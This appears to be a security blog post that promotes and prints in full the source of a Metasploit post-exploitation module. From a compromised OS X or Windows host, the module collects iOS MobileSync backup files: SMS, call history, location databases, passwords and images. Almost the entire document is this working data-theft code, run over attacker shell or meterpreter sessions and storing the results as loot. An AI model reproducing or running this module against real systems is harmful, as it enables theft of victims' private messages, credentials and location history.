Nice Metasploit Module to Grab iOS MobileSync Backup File Collection

Here is a nice coded module to get information from the IOS backup file. We have already posted 2 articles about this affair. Now, Metasploit added a great script to enumerate information such as SMS, passwords, Call History, Tracking DB etc).

Get it from here

1
##
2
# $Id: apple_ios_backup.rb 12425 2011-04-24 19:28:55Z hdm $
3
##
4
5
##
6
# This file is part of the Metasploit Framework and may be subject to
7
# redistribution and commercial restrictions. Please see the Metasploit
8
# Framework web site for more information on licensing and terms of use.
9
# http://metasploit.com/framework/
10
##
11
12
require 'msf/core'
13
require 'msf/core/post/file'
14
require 'rex/parser/apple_backup_manifestdb'
15
16
class Metasploit3 < Msf::Post
17
18
        include Msf::Post::File
19
20
        def initialize(info={})
21
                super( update_info(info,
22
                        'Name'           => 'Applie iOS MobileSync Backup File Collection',
23
                        'Description'    => %q{ This module will collect sensitive files from any on-disk iOS device backups },
24
                        'License'        => MSF_LICENSE,
25
                        'Author'         =>
26
                                [
27
                                        'hdm',
28
                                        'bannedit' # Based on bannedit's pidgin_cred module structure
29
                                ],
30
                        'Version'        => '$Revision: 12425 $',
31
                        'Platform'       => ['osx', 'windows'],
32
                        'SessionTypes'   => ['shell', 'meterpreter' ]
33
                ))
34
                register_options(
35
                        [
36
                                OptBool.new('DATABASES',  [false, 'Collect all database files? (SMS, Location, etc)', true]),
37
                                OptBool.new('PLISTS', [false, 'Collect all preference list files?', true]),
38
                                OptBool.new('IMAGES', [false, 'Collect all image files?', false]),
39
                                OptBool.new('EVERYTHING', [false, 'Collect all stored files? (SLOW)', false])
40
                        ], self.class)
41
        end
42
43
        #
44
        # Even though iTunes is only Windows and Mac OS X, look for the MobileSync files on all platforms
45
        #
46
        #
47
        def run
48
                case session.platform
49
                when /osx/
50
                        @platform = :osx
51
                        paths = enum_users_unix
52
                when /win/
53
                        @platform = :windows
54
                        drive = session.fs.file.expand_path("%SystemDrive%")
55
                        os = session.sys.config.sysinfo['OS']
56
57
                        if os =~ /Windows 7|Vista|2008/
58
                                @appdata = '\\AppData\\Roaming'
59
                                @users = drive + '\\Users'
60
                        else
61
                                @appdata = '\\Application Data'
62
                                @users = drive + '\\Documents and Settings'
63
                        end
64
65
                        if session.type != "meterpreter"
66
                                print_error "Only meterpreter sessions are supported on windows hosts"
67
                                return
68
                        end
69
                        paths = enum_users_windows
70
                else
71
                        print_error "Unsupported platform #{session.platform}"
72
                        return
73
                end
74

75
                if paths.empty?
76
                        print_status("No users found with an iTunes backup directory")
77
                        return
78
                end
79
80
                process_backups(paths)
81
        end
82
83
        def enum_users_unix
84
                if @platform == :osx
85
                        home = "/Users/"
86
                else
87
                        home = "/home/"
88
                end
89
90
                if got_root?
91
                        userdirs = session.shell_command("ls #{home}").gsub(/\s/, "\n")
92
                        userdirs << "/root\n"
93
                else
94
                        userdirs = session.shell_command("ls #{home}#{whoami}/Library/Application\\ Support/MobileSync/Backup/")
95
                        if userdirs =~ /No such file/i
96
                                return
97
                        else
98
                                print_status("Found backup directory for: #{whoami}")
99
                                return ["#{home}#{whoami}/Library/Application\\ Support/MobileSync/Backup/"]
100
                        end
101
                end
102
103
                paths = Array.new
104
                userdirs.each_line do |dir|
105
                        dir.chomp!
106
                        next if dir == "." || dir == ".."
107
108
                        dir = "#{home}#{dir}" if dir !~ /root/
109
                        print_status("Checking for backup directory in: #{dir}")
110
111
                        stat = session.shell_command("ls #{dir}/Library/Application\\ Support/MobileSync/Backup/")
112
                        next if stat =~ /No such file/i
113
                        paths << "#{dir}/Library/Application\\ Support/MobileSync/Backup/"
114
                end
115
                return paths
116
        end
117
118
        def enum_users_windows
119
                paths = Array.new
120
121
                if got_root?
122
                        session.fs.dir.foreach(@users) do |path|
123
                                next if path =~ /^(\.|\.\.|All Users|Default|Default User|Public|desktop.ini|LocalService|NetworkService)$/i
124
                                bdir = "#{@users}\\#{path}#{@appdata}\\Apple Computer\\MobileSync\\Backup"
125
                                dirs = check_for_backups_win(bdir)
126
                                dirs.each { |dir| paths << dir } if dirs
127
                        end
128
                else
129
                        print_status "Only checking #{whoami} account since we do not have SYSTEM..."
130
                        path = "#{@users}\\#{whoami}#{@appdata}\\Apple Computer\\MobileSync\\Backup"
131
                        dirs = check_for_backups_win(path)
132
                        dirs.each { |dir| paths << dir } if dirs
133
                end
134
                return paths
135
        end
136
137
        def check_for_backups_win(bdir)
138
                dirs = []
139
                print_status("Checking for backups in #{bdir}")
140
                session.fs.dir.foreach(bdir) do |dir|
141
                        if dir =~ /^[0-9a-f]{16}/i
142
                                print_status("Found #{bdir}\\#{dir}")
143
                                dirs << "#{bdir}\\#{dir}"
144
                        end
145
                end
146
                dirs
147
        end
148
149
        def process_backups(paths)
150
                paths.each {|path| process_backup(path) }
151
        end
152

153
        def process_backup(path)
154
155
                print_status("Pulling data from #{path}...")
156

157
                mbdb_data = ""
158
                mbdx_data = ""
159

160
                print_status("Reading Manifest.mbdb from #{path}...")
161
                if session.type == "shell"
162
                        mbdb_data = session.shell_command("cat #{path}/Manifest.mbdb")
163
                else
164
                        mfd = session.fs.file.new("#{path}\\Manifest.mbdb", "rb")
165
                        until mfd.eof?
166
                                mbdb_data << mfd.read
167
                        end
168
                        mfd.close
169
                end
170
171
                print_status("Reading Manifest.mbdx from #{path}...")
172
                if session.type == "shell"
173
                        mbdx_data = session.shell_command("cat #{path}/Manifest.mbdx")
174
                else
175
                        mfd = session.fs.file.new("#{path}\\Manifest.mbdx", "rb")
176
                        until mfd.eof?
177
                                mbdx_data << mfd.read
178
                        end
179
                        mfd.close
180
                end
181

182
                manifest = Rex::Parser::AppleBackupManifestDB.new(mbdb_data, mbdx_data)
183

184
                patterns = []
185
                patterns << /\.db$/i if datastore['DATABASES']
186
                patterns << /\.plist$/i if datastore['PLISTS']
187
                patterns << /\.(jpeg|jpg|png|bmp|tiff|gif)$/i if datastore['IMAGES']
188
                patterns << /.*/ if datastore['EVERYTHING']
189

190
                done = {}
191
                patterns.each do |pat|
192
                        manifest.entries.each_pair do |fname, info|
193
                                next if done[fname]
194
                                next if not info[:filename].to_s =~ pat
195

196
                                print_status("Downloading #{info[:domain]} #{info[:filename]}...")
197
198
                                begin
199

200
                                fdata = ""
201
                                if session.type == "shell"
202
                                        fdata = session.shell_command("cat #{path}/#{fname}")
203
                                else
204
                                        mfd = session.fs.file.new("#{path}\\#{fname}", "rb")
205
                                        until mfd.eof?
206
                                                fdata << mfd.read
207
                                        end
208
                                        mfd.close
209
                                end
210
                                bname = info[:filename] || "unknown.bin"
211
                                rname = info[:domain].to_s + "_" + bname
212
                                rname = rname.gsub(/\/|\\/, ".").gsub(/\s+/, "_").gsub(/[^A-Za-z0-9\.\_]/, '').gsub(/_+/, "_")
213
                                ctype = "application/octet-stream"
214

215
                                store_loot("ios.backup.data", ctype, session, fdata, rname, "iOS Backup: #{rname}")
216

217
                                rescue ::Interrupt
218
                                        raise $!
219
                                rescue ::Exception => e
220
                                        print_error("Failed to download #{fname}: #{e.class} #{e}")
221
                                end
222

223
                                done[fname] = true
224
                        end
225
                end
226
        end
227
228
229
        def got_root?
230
                case @platform
231
                when :windows
232
                        if session.sys.config.getuid =~ /SYSTEM/
233
                                return true
234
                        else
235
                                return false
236
                        end
237
                else # unix, bsd, linux, osx
238
                        ret = whoami
239
                        if ret =~ /root/
240
                                return true
241
                        else
242
                                return false
243
                        end
244
                end
245
        end
246
247
        def whoami
248
                if @platform == :windows
249
                        session.fs.file.expand_path("%USERNAME%")
250
                else
251
                        session.shell_command("whoami").chomp
252
                end
253
        end
254
end

NJ Ouchn

"Passion is needed for any great work, and for the revolution, passion and audacity are required in big doses"